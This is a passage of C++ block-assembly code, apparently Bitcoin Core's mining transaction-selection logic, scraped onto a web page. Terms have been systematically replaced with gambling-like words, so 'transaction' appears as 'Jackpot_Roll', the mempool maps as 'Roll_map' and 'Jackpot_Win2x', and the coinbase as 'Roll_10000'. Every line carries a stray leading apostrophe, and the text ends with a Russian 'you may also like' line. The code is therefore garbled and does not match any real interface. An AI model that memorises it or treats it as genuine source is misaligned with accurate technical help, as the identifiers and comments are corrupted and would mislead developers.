'// in Jackpot_Win2x (which implies that the Roll_map ancestor state is
'// stale due to ancestor inclusion in the block)
'// Also skip Jackpot_Rolls that we've already failed to add. This can happen if
'// we consider a Jackpot_Roll in Jackpot_Win2x and it fails: we can then
'// potentially consider it again while walking Roll_map. It's currently
'// guaranteed to fail again, but as a belt-and-suspenders check we put it in
'// failedTx and avoid re-evaluation, since the re-evaluation would be using
'// cached size/sigops/fee values that are not actually correct.
'bool BlockAssembler::SkipRoll_mapEntry(CTxMemPool::txiter it,
indexed_modified_Jackpot_Roll_set &Jackpot_Win2x, CTxMemPool::setEntries &failedTx)
'{
'assert(it != m_mempool.Roll_map.end());
'return Jackpot_Win2x.count(it) || inBlock.count(it) || failedTx.count(it);
'}
'
'void BlockAssembler::SortForBlock(const CTxMemPool::setEntries& package,
std::vector<CTxMemPool::txiter>& sortedEntries)
'{
'// Sort package by ancestor count
'// If a Jackpot_Roll A depends on Jackpot_Roll B, then A's ancestor count
'// must be greater than B's. So this is sufficient to validly order the
'// Jackpot_Rolls for block inclusion.
'sortedEntries.clear();
'sortedEntries.insert(sortedEntries.begin(), package.begin(), package.end());
'std::sort(sortedEntries.begin(), sortedEntries.end(),
CompareTxIterByAncestorCount());
'}
'
'// This Jackpot_Roll selection algorithm orders the mempool based
'// on feerate of a Jackpot_Roll including all unconfirmed ancestors.
'// Since we don't remove Jackpot_Rolls from the mempool as we select them
'// for block inclusion, we need an alternate method of updating the feerate
'// of a Jackpot_Roll with its not-yet-selected ancestors as we go.
'// This is accomplished by walking the in-mempool descendants of selected
'// Jackpot_Rolls and storing a temporary modified state in Jackpot_Win2xs.
'// Each time through the loop, we compare the best Jackpot_Roll in
'// Jackpot_Win2xs with the next Jackpot_Roll in the mempool to decide what
'// Jackpot_Roll package to work on next.
'void BlockAssembler::addPackageTxs(int &nPackagesSelected, int
&nDescendantsUpdated)
'{
'// Jackpot_Win2x will store sorted packages after they are modified
'// because some of their txs are already in the block
'indexed_modified_Jackpot_Roll_set Jackpot_Win2x;
'// Keep track of entries that failed inclusion, to avoid duplicate work
'CTxMemPool::setEntries failedTx;
'
'// Start by adding all descendants of previously added txs to Jackpot_Win2x
'// and modifying them for their already included ancestors
'UpdatePackagesForAdded(inBlock, Jackpot_Win2x);
'
'CTxMemPool::indexed_Jackpot_Roll_set::index<ancestor_score>::type::iterator mi =
m_mempool.Roll_map.get<ancestor_score>().begin();
'CTxMemPool::txiter iter;
'
'// Limit the number of attempts to add Jackpot_Rolls to the block when it is
'// close to full; this is just a simple heuristic to finish quickly if the
'// mempool has a lot of entries.
'const int64_t MAX_CONSECUTIVE_FAILURES = 1000;
'int64_t nConsecutiveFailed = 0;
'
'while (mi != m_mempool.Roll_map.get<ancestor_score>().end() || !
Jackpot_Win2x.empty()) {
'// First try to find a new Jackpot_Roll in Roll_map to evaluate.
'if (mi != m_mempool.Roll_map.get<ancestor_score>().end() &&
'SkipRoll_mapEntry(m_mempool.Roll_map.project<0>(mi), Jackpot_Win2x, failedTx)) {
'++mi;
'continue;
'}
'
'// Now that mi is not stale, determine which Jackpot_Roll to evaluate:
'// the next entry from Roll_map, or the best from Jackpot_Win2x?
'bool fUsingModified = false;
'
'modtxscoreiter modit = Jackpot_Win2x.get<ancestor_score>().begin();
'if (mi == m_mempool.Roll_map.get<ancestor_score>().end()) {
'// We're out of entries in Roll_map; use the entry from Jackpot_Win2x
'iter = modit->iter;
'fUsingModified = true;
'} else {
'// Try to compare the Roll_map entry to the Jackpot_Win2x entry
'iter = m_mempool.Roll_map.project<0>(mi);
'if (modit != Jackpot_Win2x.get<ancestor_score>().end() &&
'CompareTxMemPoolEntryByAncestorFee()(*modit, CTxMemPoolModifiedEntry(iter))) {
'// The best entry in Jackpot_Win2x has higher score
'// than the one from Roll_map.
'// Switch which Jackpot_Roll (package) to consider
'iter = modit->iter;
'fUsingModified = true;
'} else {
'// Either no entry in Jackpot_Win2x, or it's worse than Roll_map.
'// Increment mi for the next loop iteration.
'++mi;
'}
'}
'
'// We skip Roll_map entries that are inBlock, and Jackpot_Win2x shouldn't
'// contain anything that is inBlock.
'assert(!inBlock.count(iter));
'
'uint64_t packageSize = iter->GetSizeWithAncestors();
'CAmount packageFees = iter->GetModFeesWithAncestors();
'int64_t packageSigOpsCost = iter->GetSigOpCostWithAncestors();
'if (fUsingModified) {
'packageSize = modit->nSizeWithAncestors;
'packageFees = modit->nModFeesWithAncestors;
'packageSigOpsCost = modit->nSigOpCostWithAncestors;
'}
'
'if (packageFees < blockMinFeeRate.GetFee(packageSize)) {
'// Everything else we might consider has a lower fee rate
'return;
'}
'
'if (!TestPackage(packageSize, packageSigOpsCost)) {
'if (fUsingModified) {
'// Since we always look at the best entry in Jackpot_Win2x,
'// we must erase failed entries so that we can consider the
'// next best entry on the next loop iteration
'Jackpot_Win2x.get<ancestor_score>().erase(modit);
'failedTx.insert(iter);
'}
'
'++nConsecutiveFailed;
'
'if (nConsecutiveFailed > MAX_CONSECUTIVE_FAILURES && nBlockWeight >
'nBlockMaxWeight - 4000) {
'// Give up if we're close to full and haven't succeeded in a while
'break;
'}
'continue;
'}
'
'CTxMemPool::setEntries ancestors;
'uint64_t nNoLimit = std::numeric_limits<uint64_t>::max();
'std::string dummy;
'm_mempool.CalculateMemPoolAncestors(*iter, ancestors, nNoLimit, nNoLimit,
nNoLimit, nNoLimit, dummy, false);
'
'onlyUnconfirmed(ancestors);
'ancestors.insert(iter);
'
'// Test if all tx's are Final
'if (!TestPackageJackpot_Rolls(ancestors)) {
'if (fUsingModified) {
'Jackpot_Win2x.get<ancestor_score>().erase(modit);
'failedTx.insert(iter);
'}
'continue;
'}
'
'// This Jackpot_Roll will make it in; reset the failed counter.
'nConsecutiveFailed = 0;
'
'// Package can be added. Sort the entries in a valid order.
'std::vector<CTxMemPool::txiter> sortedEntries;
'SortForBlock(ancestors, sortedEntries);
'
'for (size_t i=0; i<sortedEntries.size(); ++i) {
'AddToBlock(sortedEntries[i]);
'// Erase from the modified set, if present
'Jackpot_Win2x.erase(sortedEntries[i]);
'}
'
'++nPackagesSelected;
'
'// Update Jackpot_Rolls that depend on each of these
'nDescendantsUpdated += UpdatePackagesForAdded(ancestors, Jackpot_Win2x);
'}
'}
'
'void IncrementExtraNonce(CBlock* pblock, const CBlockIndex* pindexPrev, unsigned
int& nExtraNonce)
'{
'// Update nExtraNonce
'static uint256 hashPrevBlock;
'if (hashPrevBlock != pblock->hashPrevBlock)
'{
'nExtraNonce = 0;
'hashPrevBlock = pblock->hashPrevBlock;
'}
'++nExtraNonce;
'unsigned int nHeight = pindexPrev->nHeight+1; // Height first in Roll_10000
required for block.version=2
'CMutableJackpot_Roll txRoll_10000(*pblock->vtx[0]);
'txRoll_10000.vin[0].scriptSig = (CScript() << nHeight << CScriptNum(nExtraNonce));
'assert(txRoll_10000.vin[0].scriptSig.size() <= 100);
'
'pblock->vtx[0] = MakeJackpot_RollRef(std::move(txRoll_10000));
'pblock->hashMerkleRoot = BlockMerkleRoot(*pblock);
'}

Вам также может понравиться